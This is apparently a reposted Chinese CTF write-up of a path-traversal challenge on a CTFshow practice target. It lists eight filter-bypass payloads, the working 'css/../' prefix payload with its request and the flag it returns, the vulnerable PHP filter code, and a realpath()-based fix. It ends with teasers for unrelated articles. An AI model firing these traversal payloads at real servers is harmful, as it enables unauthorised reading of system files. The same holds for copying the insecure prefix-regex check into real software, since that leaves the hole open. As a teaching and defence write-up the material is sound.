AI渗透测试 -- 路径遍历过滤绕过:一个css/前缀引发的任意文件读取"

admin 2026-10-24 07:06:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

AI渗透测试 -- 路径遍历过滤绕过:一个css/前缀引发的任意文件读取

原创

yushao
yushao

网络安全者

2026年6月11日 15:15
河南

在小说阅读器读本章

去阅读

一、测试概述

项目 内容
测试目标 CTFshow 文件管理助手(CTF练习平台)
漏洞类型 路径遍历(Path Traversal)/ 任意文件读取
风险等级 高危
测试时间 2026年6月
授权说明 CTFshow 授权练习靶场

二、信息收集

访问目标首页,发现一个文件读取功能:

  • • 页面标题:CTFshow 文件管理助手
  • • 功能:用户输入文件名,后端调用 file_get_contents() 读取并回显内容
  • • 默认读取文件:test.txt
  • • 页面提示:目标flag文件为 /flag.txt
  • • HTTP方法:GET,参数名为 path

三、过滤规则分析

通过反复测试,识别出后端存在 两层过滤机制:

过滤规则 1 — 路径前缀检测:

// 禁止以 \"/\" 或 \"../\" 开头的路径
if (preg_match('/^(\\.|\\/)/', $path)) {
    die(\"禁止以/或者../开头的文件名\");
}

过滤规则 2 — 敏感关键词黑名单:

// 禁止包含敏感协议和关键词
if (preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path)) {
    die(\"禁止访问敏感目录或文件\");
}

四、绕过尝试记录

序号 Payload 结果
1 /flag.txt 被拦截:禁止以 / 开头
2 ../../../flag.txt 被拦截:禁止以 .. 开头
3 ....//....//....//flag.txt 被拦截:双写绕过无效
4 ..%2F..%2F..%2Fflag.txt 被拦截:URL编码未绕过正则
5 %2e%2e%2f%2e%2e%2fflag.txt 通过过滤,但PHP未解码,报文件不存在
6 ..\\..\\..\\flag.txt 被拦截:反斜杠同样被检测
7 %2fflag.txt 通过过滤,但PHP视为字面文件名,报不存在
8 file:///flag.txt 被拦截:触发冒号 : 过滤

五、漏洞利用(核心绕过)

绕过思路: 既然不能以 / 或 .. 开头,那就用一个 真实存在的目录名作为前缀,在其后拼接 ../ 实现路径回退。

页面引用了 css/ 目录下的样式资源,说明该目录真实存在。后端拼接的文件路径为:

/var/www/html/css/../../../../../../../flag.txt

经过路径规范化后:

/var/www/html/css/ → /var/www/html/ → /var/www/ → /var/ → / → /flag.txt

最终Payload:

css/../../../../../../../flag.txt

完整请求:

GET /?path=css/../../../../../../../flag.txt HTTP/1.1
Host: [目标域名已屏蔽]

服务器响应(关键内容):

    css/../../../../../../../flag.txt内容为:
    FLAG = \"CTF{file_path_bypass_is_fun}\"

成功读取到 /flag.txt 文件内容。

六、漏洞原理

用户输入: css/../../../../../../../flag.txt
                    ↓
    ┌─── 正则 /^(\\.|\\/)/ 检测 ───┐
    │  首字符为 'c',不是 . 或 /   │
    │  ✅ 通过过滤                 │
    └─────────────────────────────┘
                    ↓
    ┌─── 敏感词黑名单检测 ─────────┐
    │  不含 data/log/filter/: 等   │
    │  ✅ 通过过滤                 │
    └─────────────────────────────┘
                    ↓
    file_get_contents(\"/var/www/html/\" . \"css/../../../../../../../flag.txt\")
                    ↓
    PHP路径规范化 → /flag.txt → 读取成功 → 回显内容

七、修复建议

// ❌ 不安全的做法(仅正则过滤前缀)
$path = $_GET['path'];
if (preg_match('/^(\\.|\\/)/', $path)) { die(\"禁止\"); }
echo file_get_contents(\"/var/www/html/\" . $path);

// ✅ 安全做法:使用 realpath() 验证最终路径
$base_dir = realpath(\"/var/www/html/\");
$target   = realpath(\"/var/www/html/\" . $path);

if ($target === false || strpos($target, $base_dir) !== 0) {
    die(\"非法路径\");
}
echo file_get_contents($target);

核心修复要点:

  1. 1. 使用 realpath() 解析最终路径,而非依赖输入字符串的正则匹配
  2. 2. 白名单校验:确认解析后的绝对路径仍在允许的基目录内
  3. 3. 最小权限原则:Web进程不应有读取系统敏感文件的权限
  4. 4. 额外加固:可结合 basename() 限制只能读取指定目录下的文件

八、总结

本案例展示了路径遍历漏洞中 \"前缀拼接绕过\" 的经典思路。当后端仅对输入字符串的 开头 做正则校验时,攻击者可以利用一个真实存在的子目录作为跳板,在其后追加 ../ 序列回退到任意位置,最终实现根目录级别的任意文件读取。防御时应始终坚持 \"先拼接,后验证最终路径\" 的原则。


    随着人工智能的兴起,银行为大规模裁员奠定基础" 网络安全文章

    随着人工智能的兴起,银行为大规模裁员奠定基础"

    文档探讨人工智能在银行业的应用导致大规模裁员趋势,多位银行高管承认AI将削减岗位,尤其影响初级分析师和行政类职位。当前AI主要用于客户服务、交易监控等场景,但法律风险与就业结构性变化引发争议。部分银行通过再培训缓解冲击,但毕业生招聘规模已显著收缩。
    Encoder、Decoder和Encoder-Decoder的区别" 网络安全文章

    Encoder、Decoder和Encoder-Decoder的区别"

    本文系统解析了Transformer架构中encoder、decoder和encoder-decoder三类核心结构的区别,指出其关键在于信息流动方式、注意力范围和任务目标的差异。encoder采用双向注意力,适合文本理解与表征任务,典型模型为BERT;decoder采用因果注意力,专长自回归文本生成,典型模型为GPT系列;encoder-decoder则结合两者,适用于序列到序列转换任务如翻译和摘要,典型模型为T5和BART。文章还解释了当前生成式大模型多采用decoder-only架构的原因,并总结了
    评论:0   参与:  0